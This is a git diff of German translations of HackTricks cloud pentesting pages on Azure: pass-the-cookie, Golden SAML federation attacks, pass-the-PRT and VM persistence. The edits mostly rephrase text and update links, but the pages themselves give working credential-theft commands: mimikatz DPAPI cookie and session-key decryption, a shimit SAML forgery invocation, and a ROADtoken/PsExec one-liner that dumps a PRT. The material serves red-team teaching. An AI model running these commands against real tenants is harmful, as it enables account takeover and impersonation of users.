+> Jetzt, da Sie **einige Informationen über Ihre Anmeldeinformationen haben** (und wenn Sie ein Red Team sind, hoffen wir, dass Sie **nicht entdeckt wurden**). Es ist an der Zeit herauszufinden, welche Dienste in der Umgebung verwendet werden.\
> Im folgenden Abschnitt können Sie einige Möglichkeiten überprüfen, um **einige gängige Dienste aufzulisten.**
## App Service SCM
@@ -143,7 +143,7 @@ Kudu-Konsole, um sich im App Service 'Container' anzumelden.
## Webshell
-Verwenden Sie portal.azure.com und wählen Sie die Shell aus, oder verwenden Sie shell.azure.com für eine Bash- oder PowerShell. Der 'Disk' dieser Shell wird als Bilddatei in einem Speicherkonto gespeichert.
+Verwenden Sie portal.azure.com und wählen Sie die Shell aus, oder verwenden Sie shell.azure.com für Bash oder PowerShell. Der 'Disk' dieser Shell wird als Bilddatei in einem Speicherkonto gespeichert.
## Azure DevOps
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md
index 4055af38a..42c8a51cf 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md
@@ -9,22 +9,22 @@ Browser **cookies** sind ein großartiger Mechanismus, um **Authentifizierung un
Sie können sehen, wo **Browser-Cookies gespeichert sind** in:
{{#ref}}
-https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts?q=browse#google-chrome
+https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.html#google-chrome
{{#endref}}
## Angriff
-Der herausfordernde Teil ist, dass diese **Cookies verschlüsselt sind** für den **Benutzer** über die Microsoft Data Protection API (**DPAPI**). Dies wird mit kryptografischen [Schlüsseln, die an den Benutzer gebunden sind](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords), zu dem die Cookies gehören, verschlüsselt. Weitere Informationen dazu finden Sie in:
+Der herausfordernde Teil ist, dass diese **Cookies verschlüsselt** sind für den **Benutzer** über die Microsoft Data Protection API (**DPAPI**). Dies wird mit kryptografischen [Schlüsseln, die an den Benutzer gebunden sind](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html), zu dem die Cookies gehören, verschlüsselt. Weitere Informationen dazu finden Sie in:
{{#ref}}
-https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords
+https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html
{{#endref}}
-Mit Mimikatz in der Hand kann ich **die Cookies eines Benutzers extrahieren**, auch wenn sie mit diesem Befehl verschlüsselt sind:
+Mit Mimikatz in der Hand kann ich **die Cookies eines Benutzers extrahieren**, obwohl sie mit diesem Befehl verschlüsselt sind:
```bash
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
```
-Für Azure sind uns die Authentifizierungscookies wichtig, einschließlich **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`** und **`ESTSAUTHLIGHT`**. Diese sind vorhanden, weil der Benutzer in letzter Zeit aktiv auf Azure war.
+Für Azure sind uns die Authentifizierungscookies wichtig, einschließlich **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`** und **`ESTSAUTHLIGHT`**. Diese sind vorhanden, weil der Benutzer kürzlich aktiv auf Azure war.
Navigieren Sie einfach zu login.microsoftonline.com und fügen Sie das Cookie **`ESTSAUTHPERSISTENT`** (generiert durch die Option „Angemeldet bleiben“) oder **`ESTSAUTH`** hinzu. Und Sie werden authentifiziert.
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md
index 1f71aee41..b6a147525 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md
@@ -6,15 +6,15 @@
[Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Federation** ist eine Sammlung von **Domänen**, die **Vertrauen** etabliert haben. Das Vertrauensniveau kann variieren, umfasst jedoch typischerweise **Authentifizierung** und fast immer **Autorisierung**. Eine typische Föderation könnte eine **Anzahl von Organisationen** umfassen, die **Vertrauen** für **gemeinsamen Zugriff** auf eine Reihe von Ressourcen etabliert haben.
-Sie können Ihre **On-Premises-Umgebung** **mit Azure AD** föderieren und diese Föderation für Authentifizierung und Autorisierung nutzen. Diese Anmeldemethode stellt sicher, dass alle Benutzer-**Authentifizierungen vor Ort** erfolgen. Diese Methode ermöglicht es Administratoren, rigorosere Zugriffskontrollen zu implementieren. Die Föderation mit **AD FS** und PingFederate ist verfügbar.
+Sie können Ihre **On-Premises**-Umgebung **mit Azure AD** föderieren und diese Föderation für Authentifizierung und Autorisierung nutzen. Diese Anmeldemethode stellt sicher, dass alle Benutzer-**Authentifizierungen vor Ort** erfolgen. Diese Methode ermöglicht es Administratoren, rigorosere Zugriffskontrollen zu implementieren. Die Föderation mit **AD FS** und PingFederate ist verfügbar.
-Im Wesentlichen erfolgt in der Föderation die gesamte **Authentifizierung** in der **On-Premises**-Umgebung, und der Benutzer erlebt SSO über alle vertrauenswürdigen Umgebungen hinweg. Daher können Benutzer **Zugriff** auf **Cloud**-Anwendungen mit ihren **On-Premise-Anmeldeinformationen** erhalten.
+Im Wesentlichen erfolgt in der Föderation alle **Authentifizierung** in der **On-Prem**-Umgebung und der Benutzer erlebt SSO über alle vertrauenswürdigen Umgebungen hinweg. Daher können Benutzer **auf** **Cloud**-Anwendungen zugreifen, indem sie ihre **On-Prem-Anmeldeinformationen** verwenden.
-**Security Assertion Markup Language (SAML)** wird verwendet, um alle Authentifizierungs- und Autorisierungs-**informationen** zwischen den Anbietern auszutauschen.
+**Security Assertion Markup Language (SAML)** wird verwendet, um alle Authentifizierungs- und Autorisierungs-**informationen** zwischen den Anbietern **auszutauschen**.
-In jeder Föderationseinrichtung gibt es drei Parteien:
+In jeder Föderationskonfiguration gibt es drei Parteien:
- Benutzer oder Client
- Identitätsanbieter (IdP)
@@ -27,26 +27,26 @@ In jeder Föderationseinrichtung gibt es drei Parteien:
1. Zunächst wird eine Anwendung (Dienstanbieter oder SP, wie die AWS-Konsole oder der vSphere-Webclient) von einem Benutzer aufgerufen. Dieser Schritt kann umgangen werden, sodass der Client direkt zum IdP (Identitätsanbieter) geleitet wird, abhängig von der spezifischen Implementierung.
2. Anschließend identifiziert der SP den geeigneten IdP (z. B. AD FS, Okta) für die Benutzer-Authentifizierung. Er erstellt dann eine SAML (Security Assertion Markup Language) AuthnRequest und leitet den Client an den gewählten IdP weiter.
3. Der IdP übernimmt und authentifiziert den Benutzer. Nach der Authentifizierung wird eine SAMLResponse vom IdP formuliert und über den Benutzer an den SP weitergeleitet.
-4. Schließlich bewertet der SP die SAMLResponse. Wenn sie erfolgreich validiert wird, was eine Vertrauensbeziehung mit dem IdP impliziert, erhält der Benutzer Zugriff. Dies markiert den Abschluss des Anmeldeprozesses, der es dem Benutzer ermöglicht, den Dienst zu nutzen.
+4. Schließlich bewertet der SP die SAMLResponse. Wenn sie erfolgreich validiert wird, was auf eine Vertrauensbeziehung mit dem IdP hinweist, erhält der Benutzer Zugriff. Dies markiert den Abschluss des Anmeldeprozesses, der es dem Benutzer ermöglicht, den Dienst zu nutzen.
-**Wenn Sie mehr über SAML-Authentifizierung und häufige Angriffe erfahren möchten, gehen Sie zu:**
+**Wenn Sie mehr über SAML-Authentifizierung und gängige Angriffe erfahren möchten, gehen Sie zu:**
{{#ref}}
-https://book.hacktricks.xyz/pentesting-web/saml-attacks
+https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
{{#endref}}
## Pivoting
- AD FS ist ein claims-basiertes Identitätsmodell.
- "..claims sind einfach Aussagen (zum Beispiel Name, Identität, Gruppe), die über Benutzer gemacht werden und hauptsächlich zur Autorisierung des Zugriffs auf claims-basierte Anwendungen verwendet werden, die überall im Internet zu finden sind."
-- Ansprüche für einen Benutzer werden innerhalb der SAML-Token geschrieben und dann vom IdP signiert, um Vertraulichkeit zu gewährleisten.
-- Ein Benutzer wird durch ImmutableID identifiziert. Es ist global eindeutig und wird in Azure AD gespeichert.
+- Ansprüche für einen Benutzer werden in den SAML-Token geschrieben und dann vom IdP signiert, um Vertraulichkeit zu gewährleisten.
+- Ein Benutzer wird durch ImmutableID identifiziert. Sie ist global eindeutig und wird in Azure AD gespeichert.
- Die ImmutableID wird vor Ort als ms-DS-ConsistencyGuid für den Benutzer gespeichert und/oder kann aus der GUID des Benutzers abgeleitet werden.
- Weitere Informationen unter [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)
**Golden SAML-Angriff:**
-- In ADFS wird die SAML-Antwort mit einem Token-Signaturzertifikat signiert.
+- In ADFS wird die SAML Response von einem Token-Signaturzertifikat signiert.
- Wenn das Zertifikat kompromittiert ist, ist es möglich, sich als JEDER Benutzer, der mit Azure AD synchronisiert ist, bei Azure AD zu authentifizieren!
- Genau wie bei unserem PTA-Missbrauch hat eine Passwortänderung für einen Benutzer oder MFA keine Auswirkungen, da wir die Authentifizierungsantwort fälschen.
- Das Zertifikat kann mit DA-Rechten vom AD FS-Server extrahiert werden und kann dann von jedem internetverbundenen Gerät verwendet werden.
@@ -56,24 +56,24 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks
Der Prozess, bei dem ein **Identitätsanbieter (IdP)** eine **SAMLResponse** zur Autorisierung der Benutzeranmeldung erstellt, ist von entscheidender Bedeutung. Abhängig von der spezifischen Implementierung des IdP kann die **Antwort** **signiert** oder **verschlüsselt** sein, wobei der **private Schlüssel des IdP** verwendet wird. Dieses Verfahren ermöglicht es dem **Dienstanbieter (SP)**, die Authentizität der SAMLResponse zu bestätigen und sicherzustellen, dass sie tatsächlich von einem vertrauenswürdigen IdP ausgestellt wurde.
-Eine Parallele kann zum [Golden Ticket-Angriff](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket) gezogen werden, bei dem der Schlüssel, der die Identität und Berechtigungen des Benutzers authentifiziert (KRBTGT für goldene Tickets, Token-Signatur-Privatschlüssel für golden SAML), manipuliert werden kann, um ein **Authentifizierungsobjekt** (TGT oder SAMLResponse) zu fälschen. Dies ermöglicht die Identitätsübernahme eines beliebigen Benutzers und gewährt unbefugten Zugriff auf den SP.
+Eine Parallele kann zum [Golden Ticket-Angriff](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket) gezogen werden, bei dem der Schlüssel, der die Identität und Berechtigungen des Benutzers authentifiziert (KRBTGT für goldene Tickets, Token-Signatur-privater Schlüssel für golden SAML), manipuliert werden kann, um ein **Authentifizierungsobjekt** (TGT oder SAMLResponse) zu **fälschen**. Dies ermöglicht die Identitätsübernahme eines beliebigen Benutzers und gewährt unbefugten Zugriff auf den SP.
Golden SAMLs bieten bestimmte Vorteile:
- Sie können **remote erstellt** werden, ohne Teil der betreffenden Domäne oder Föderation zu sein.
- Sie bleiben auch mit aktivierter **Zwei-Faktor-Authentifizierung (2FA)** wirksam.
-- Der Token-Signatur-**Privatschlüssel erneuert sich nicht automatisch**.
-- **Ändern eines Benutzerpassworts macht eine bereits generierte SAML nicht ungültig**.
+- Der Token-Signatur-**private Schlüssel erneuert sich nicht automatisch**.
+- **Ändern eines Benutzers Passworts macht** eine bereits generierte SAML nicht ungültig.
#### AWS + AD FS + Golden SAML
[Active Directory Federation Services (AD FS)]() ist ein Microsoft-Dienst, der den **sicheren Austausch von Identitätsinformationen** zwischen vertrauenswürdigen Geschäftspartnern (Föderation) erleichtert. Er ermöglicht es im Wesentlichen einem Domänendienst, Benutzeridentitäten mit anderen Dienstanbietern innerhalb einer Föderation zu teilen.
-Wenn AWS der kompromittierten Domäne (in einer Föderation) vertraut, kann diese Schwachstelle ausgenutzt werden, um potenziell **alle Berechtigungen in der AWS-Umgebung zu erwerben**. Der Angriff erfordert den **Privatschlüssel**, der zum Signieren der SAML-Objekte verwendet wird, ähnlich wie beim Bedarf an KRBTGT in einem Golden Ticket-Angriff. Der Zugriff auf das AD FS-Benutzerkonto reicht aus, um diesen Privatschlüssel zu erhalten.
+Mit AWS, das der kompromittierten Domäne (in einer Föderation) vertraut, kann diese Schwachstelle ausgenutzt werden, um potenziell **alle Berechtigungen in der AWS-Umgebung zu erwerben**. Der Angriff erfordert den **privaten Schlüssel, der zum Signieren der SAML-Objekte verwendet wird**, ähnlich wie beim Bedarf des KRBTGT in einem Golden Ticket-Angriff. Der Zugriff auf das AD FS-Benutzerkonto reicht aus, um diesen privaten Schlüssel zu erhalten.
Die Anforderungen für die Durchführung eines Golden SAML-Angriffs umfassen:
-- **Token-Signatur-Privatschlüssel**
+- **Token-Signatur-privater Schlüssel**
- **IdP-Öffentliches Zertifikat**
- **IdP-Name**
- **Rollenname (Rolle, die übernommen werden soll)**
@@ -83,7 +83,7 @@ Die Anforderungen für die Durchführung eines Golden SAML-Angriffs umfassen:
_Nur die fettgedruckten Elemente sind obligatorisch. Die anderen können nach Belieben ausgefüllt werden._
-Um den **Privatschlüssel** zu erwerben, ist der Zugriff auf das **AD FS-Benutzerkonto** erforderlich. Von dort aus kann der Privatschlüssel **aus dem persönlichen Speicher exportiert** werden, indem Tools wie [mimikatz](https://github.com/gentilkiwi/mimikatz) verwendet werden. Um die anderen erforderlichen Informationen zu sammeln, können Sie das Microsoft.Adfs.Powershell-Snapin wie folgt verwenden, wobei Sie sicherstellen, dass Sie als ADFS-Benutzer angemeldet sind:
+Um den **privaten Schlüssel** zu erwerben, ist der Zugriff auf das **AD FS-Benutzerkonto** erforderlich. Von dort aus kann der private Schlüssel **aus dem persönlichen Speicher exportiert** werden, indem Tools wie [mimikatz](https://github.com/gentilkiwi/mimikatz) verwendet werden. Um die anderen erforderlichen Informationen zu sammeln, können Sie das Microsoft.Adfs.Powershell-Snapin wie folgt verwenden, wobei Sie sicherstellen, dass Sie als ADFS-Benutzer angemeldet sind:
```powershell
# From an "AD FS" session
# After having exported the key with mimikatz
@@ -97,7 +97,7 @@ Um den **Privatschlüssel** zu erwerben, ist der Zugriff auf das **AD FS-Benutze
# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule
```
-Mit all den Informationen ist es möglich, eine gültige SAMLResponse als den Benutzer, den Sie nachahmen möchten, mit [**shimit**](https://github.com/cyberark/shimit)**:**
+Mit all den Informationen ist es möglich, eine gültige SAMLResponse als den Benutzer, den Sie impersonieren möchten, mithilfe von [**shimit**](https://github.com/cyberark/shimit)**:**
```bash
# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md
index d4549954c..3e652ad43 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md
@@ -22,7 +22,7 @@ Im gleichen Output können Sie auch sehen, ob das **Gerät mit Azure verbunden i
## PRT-Cookie
-Das PRT-Cookie wird tatsächlich **`x-ms-RefreshTokenCredential`** genannt und es ist ein JSON Web Token (JWT). Ein JWT enthält **3 Teile**, den **Header**, **Payload** und **Signature**, die durch einen `.` getrennt und alle url-sicher base64 kodiert sind. Ein typisches PRT-Cookie enthält den folgenden Header und Body:
+Das PRT-Cookie wird tatsächlich **`x-ms-RefreshTokenCredential`** genannt und es ist ein JSON Web Token (JWT). Ein JWT enthält **3 Teile**, den **Header**, **Payload** und **Signature**, getrennt durch einen `.` und alle url-sicher base64 kodiert. Ein typisches PRT-Cookie enthält den folgenden Header und Body:
```json
{
"alg": "HS256",
@@ -34,22 +34,22 @@ Das PRT-Cookie wird tatsächlich **`x-ms-RefreshTokenCredential`** genannt und e
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}
```
-Der tatsächliche **Primary Refresh Token (PRT)** ist innerhalb des **`refresh_token`** kapsuliert, das durch einen Schlüssel verschlüsselt ist, der unter der Kontrolle von Azure AD steht, wodurch sein Inhalt für uns undurchsichtig und nicht entschlüsselbar ist. Das Feld **`is_primary`** zeigt die Kapselung des primären Refresh-Tokens innerhalb dieses Tokens an. Um sicherzustellen, dass das Cookie an die spezifische Anmeldesitzung gebunden bleibt, für die es bestimmt ist, wird der `request_nonce` von der Seite `logon.microsoftonline.com` übertragen.
+Der aktuelle **Primary Refresh Token (PRT)** ist innerhalb des **`refresh_token`** kapsuliert, das durch einen Schlüssel, der unter der Kontrolle von Azure AD steht, verschlüsselt ist, wodurch sein Inhalt für uns undurchsichtig und nicht entschlüsselbar ist. Das Feld **`is_primary`** zeigt die Kapselung des primären Refresh-Tokens innerhalb dieses Tokens an. Um sicherzustellen, dass das Cookie an die spezifische Anmeldesitzung gebunden bleibt, für die es bestimmt ist, wird der `request_nonce` von der Seite `logon.microsoftonline.com` übertragen.
### PRT-Cookie-Flow unter Verwendung von TPM
-Der **LSASS**-Prozess sendet den **KDF-Kontext** an das TPM, und das TPM verwendet den **Session-Schlüssel** (der beim Registrieren des Geräts in AzureAD gesammelt und im TPM gespeichert wurde) und den vorherigen Kontext, um einen **Schlüssel abzuleiten**, und dieser **abgeleitete Schlüssel** wird verwendet, um das **PRT-Cookie (JWT)** zu **signieren**.
+Der **LSASS**-Prozess sendet den **KDF-Kontext** an das TPM, und das TPM verwendet den **Sitzungsschlüssel** (der beim Registrieren des Geräts in AzureAD gesammelt und im TPM gespeichert wurde) und den vorherigen Kontext, um einen **Schlüssel abzuleiten**, und dieser **abgeleitete Schlüssel** wird verwendet, um das **PRT-Cookie (JWT)** zu **signieren**.
-Der **KDF-Kontext ist** ein Nonce von AzureAD und der PRT, der einen **JWT** gemischt mit einem **Kontext** (zufällige Bytes) erstellt.
+Der **KDF-Kontext ist** ein Nonce von AzureAD und das PRT, das einen **JWT** gemischt mit einem **Kontext** (Zufallsbytes) erstellt.
-Daher, selbst wenn der PRT nicht extrahiert werden kann, weil er sich im TPM befindet, ist es möglich, LSASS zu missbrauchen, um **abgeleitete Schlüssel aus neuen Kontexten anzufordern und die generierten Schlüssel zu verwenden, um Cookies zu signieren**.
+Daher, selbst wenn das PRT nicht extrahiert werden kann, weil es sich im TPM befindet, ist es möglich, LSASS zu missbrauchen, um **abgeleitete Schlüssel aus neuen Kontexten anzufordern und die generierten Schlüssel zu verwenden, um Cookies zu signieren**.
## PRT-Missbrauchsszenarien
Als **normaler Benutzer** ist es möglich, **PRT-Nutzung anzufordern**, indem man LSASS nach SSO-Daten fragt.\
-Dies kann wie bei **nativem Apps** geschehen, die Tokens vom **Web Account Manager** (Token-Broker) anfordern. WAM leitet die Anfrage an **LSASS** weiter, das Tokens mit einer signierten PRT-Assertion anfordert. Oder es kann mit **browserbasierten (Web-)Flows** geschehen, bei denen ein **PRT-Cookie** als **Header** verwendet wird, um Anfragen an die Anmeldeseiten von Azure AS zu authentifizieren.
+Dies kann wie bei **nativem Apps** geschehen, die Tokens vom **Web Account Manager** (Token-Broker) anfordern. WAM leitet die Anfrage an **LSASS** weiter, das Tokens mit einer signierten PRT-Assertion anfordert. Oder es kann mit **browserbasierten (Web-)Flows** geschehen, bei denen ein **PRT-Cookie** als **Header** verwendet wird, um Anfragen an die Azure AS-Anmeldeseiten zu authentifizieren.
Als **SYSTEM** könnten Sie den PRT **stehlen, wenn er nicht durch TPM geschützt ist** oder **mit PRT-Schlüsseln in LSASS interagieren**, indem Sie Krypto-APIs verwenden.
@@ -84,7 +84,7 @@ Dann können Sie [**roadtoken**](https://github.com/dirkjanm/ROADtoken) verwende
```powershell
.\ROADtoken.exe
```
-Bitte geben Sie den Text an, den Sie übersetzen möchten.
+Als Einzeiler:
```powershell
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
```
@@ -153,17 +153,17 @@ Dann gehen Sie zu [https://portal.azure.com](https://portal.azure.com)
#### Schritte
1. Der **PRT (Primary Refresh Token) wird aus LSASS** (Local Security Authority Subsystem Service) extrahiert und für die spätere Verwendung gespeichert.
-2. Der **Session Key wird als nächstes extrahiert**. Da dieser Schlüssel zunächst ausgegeben und dann vom lokalen Gerät erneut verschlüsselt wird, ist eine Entschlüsselung mit einem DPAPI-Masterkey erforderlich. Detaillierte Informationen zu DPAPI (Data Protection API) finden Sie in diesen Ressourcen: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) und für ein Verständnis seiner Anwendung siehe [Pass-the-cookie attack](az-pass-the-cookie.md).
-3. Nach der Entschlüsselung des Session Keys werden der **abgeleitete Schlüssel und der Kontext für den PRT erhalten**. Diese sind entscheidend für die **Erstellung des PRT-Cookies**. Insbesondere wird der abgeleitete Schlüssel verwendet, um das JWT (JSON Web Token), das das Cookie bildet, zu signieren. Eine umfassende Erklärung dieses Prozesses wurde von Dirk-jan bereitgestellt und ist [hier](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) zugänglich.
+2. Der **Session Key wird als nächstes extrahiert**. Da dieser Schlüssel zunächst ausgegeben und dann vom lokalen Gerät erneut verschlüsselt wird, ist eine Entschlüsselung mit einem DPAPI-Masterkey erforderlich. Detaillierte Informationen zu DPAPI (Data Protection API) finden Sie in diesen Ressourcen: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) und für ein Verständnis seiner Anwendung, siehe [Pass-the-cookie attack](az-pass-the-cookie.md).
+3. Nach der Entschlüsselung des Session Keys werden der **abgeleitete Schlüssel und der Kontext für den PRT erhalten**. Diese sind entscheidend für die **Erstellung des PRT-Cookies**. Insbesondere wird der abgeleitete Schlüssel verwendet, um das JWT (JSON Web Token) zu signieren, das das Cookie bildet. Eine umfassende Erklärung dieses Prozesses wurde von Dirk-jan bereitgestellt und ist [hier](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) zugänglich.
> [!CAUTION]
> Beachten Sie, dass, wenn der PRT im TPM und nicht in `lsass` ist, **mimikatz ihn nicht extrahieren kann**.\
-> Es wird jedoch möglich sein, einen **Schlüssel aus einem abgeleiteten Schlüssel aus einem Kontext** aus dem TPM zu erhalten und ihn zu verwenden, um **ein Cookie zu signieren (siehe Option 3).**
+> Es wird jedoch möglich sein, einen **Schlüssel aus einem abgeleiteten Schlüssel aus einem Kontext** aus dem TPM zu erhalten und ihn zu verwenden, um ein **Cookie zu signieren (siehe Option 3).**
Sie finden eine **detaillierte Erklärung des durchgeführten Prozesses**, um diese Details hier zu extrahieren: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
> [!WARNING]
-> Dies wird nach den Korrekturen im August 2021 nicht genau funktionieren, um die PRT-Token anderer Benutzer zu erhalten, da nur der Benutzer seinen PRT erhalten kann (ein lokaler Administrator kann nicht auf die PRTs anderer Benutzer zugreifen), aber auf seinen zugreifen kann.
+> Dies wird nach den Korrekturen im August 2021 nicht genau funktionieren, um die PRT-Token anderer Benutzer zu erhalten, da nur der Benutzer seinen PRT abrufen kann (ein lokaler Administrator kann nicht auf die PRTs anderer Benutzer zugreifen), aber auf seinen zugreifen kann.
Sie können **mimikatz** verwenden, um den PRT zu extrahieren:
```powershell
@@ -187,7 +187,7 @@ Extrahiere auch den Sitzungsschlüssel (den **`KeyValue`** des **`ProofOfPossesi
> [!NOTE]
> Wenn du keine PRT-Daten siehst, könnte es sein, dass du **keine PRTs hast**, weil dein Gerät nicht mit Azure AD verbunden ist, oder es könnte sein, dass du **eine alte Version** von Windows 10 verwendest.
-Um den Sitzungsschlüssel zu **entschlüsseln**, musst du deine Berechtigungen auf **SYSTEM** **erhöhen**, um im Kontext des Computers zu arbeiten, damit du den **DPAPI-Masterkey zur Entschlüsselung verwenden kannst**. Du kannst die folgenden Befehle verwenden, um dies zu tun:
+Um den Sitzungsschlüssel zu **entschlüsseln**, musst du deine Berechtigungen auf **SYSTEM** **erhöhen**, um im Kontext des Computers zu arbeiten, um den **DPAPI-Masterkey zur Entschlüsselung zu verwenden**. Du kannst die folgenden Befehle verwenden, um dies zu tun:
```
token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
@@ -219,16 +219,16 @@ HttpOnly: Set to True (checked)
```
- Gehe dann zu [https://portal.azure.com](https://portal.azure.com)
-> [!VORSICHT]
-> Der Rest sollte die Standardwerte sein. Stelle sicher, dass du die Seite aktualisieren kannst und das Cookie nicht verschwindet. Wenn es verschwindet, hast du möglicherweise einen Fehler gemacht und musst den Prozess erneut durchlaufen. Wenn nicht, solltest du in Ordnung sein.
+> [!CAUTION]
+> Der Rest sollte die Standardwerte sein. Stelle sicher, dass du die Seite aktualisieren kannst und das Cookie nicht verschwindet. Wenn es verschwindet, hast du möglicherweise einen Fehler gemacht und musst den Prozess erneut durchlaufen. Wenn es nicht verschwindet, solltest du in Ordnung sein.
#### Option 2 - roadrecon mit PRT
-- Erneuere zuerst das PRT, das es in `roadtx.prt` speichern wird:
+- Erneuere zuerst das PRT, das in `roadtx.prt` gespeichert wird:
```bash
roadtx prt -a renew --prt --prt-sessionkey
```
-- Jetzt können wir **Token anfordern**, indem wir den interaktiven Browser mit `roadtx browserprtauth` verwenden. Wenn wir den Befehl `roadtx describe` verwenden, sehen wir, dass das Zugriffstoken einen MFA-Anspruch enthält, da der PRT, den ich in diesem Fall verwendet habe, ebenfalls einen MFA-Anspruch hatte.
+- Jetzt können wir **Tokens anfordern**, indem wir den interaktiven Browser mit `roadtx browserprtauth` verwenden. Wenn wir den Befehl `roadtx describe` verwenden, sehen wir, dass das Zugriffstoken einen MFA-Anspruch enthält, da der PRT, den ich in diesem Fall verwendet habe, ebenfalls einen MFA-Anspruch hatte.
```bash
roadtx browserprtauth
roadtx describe < .roadtools_auth
diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md
index 854955bed..336bfec40 100644
--- a/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md
+++ b/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md
@@ -10,16 +10,16 @@ Für weitere Informationen zu VMs siehe:
../az-services/vms/
{{#endref}}
-### Backdoor-VM-Anwendungen, VM-Erweiterungen & Images
+### Backdoor-VM-Anwendungen, VM-Erweiterungen & Bilder
-Ein Angreifer identifiziert Anwendungen, Erweiterungen oder Images, die häufig im Azure-Konto verwendet werden. Er könnte seinen Code in VM-Anwendungen und -Erweiterungen einfügen, sodass jedes Mal, wenn sie installiert werden, die Backdoor ausgeführt wird.
+Ein Angreifer identifiziert Anwendungen, Erweiterungen oder Bilder, die häufig im Azure-Konto verwendet werden. Er könnte seinen Code in VM-Anwendungen und -Erweiterungen einfügen, sodass jedes Mal, wenn sie installiert werden, die Backdoor ausgeführt wird.
### Backdoor-Instanzen
-Ein Angreifer könnte Zugriff auf die Instanzen erhalten und sie backdoor:
+Ein Angreifer könnte Zugriff auf die Instanzen erhalten und sie mit einer Backdoor versehen:
- Verwendung eines traditionellen **Rootkits** zum Beispiel
-- Hinzufügen eines neuen **öffentlichen SSH-Schlüssels** (siehe [EC2 privesc Optionen](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc))
+- Hinzufügen eines neuen **öffentlichen SSH-Schlüssels** (siehe [EC2 privesc options](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.html))
- Backdooring der **Benutzerdaten**
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md
new file mode 100644
index 000000000..9eebdd3b4
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md
@@ -0,0 +1,243 @@
+# Az - CosmosDB Post Exploitation
+
+{% hint style="success" %}
+Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
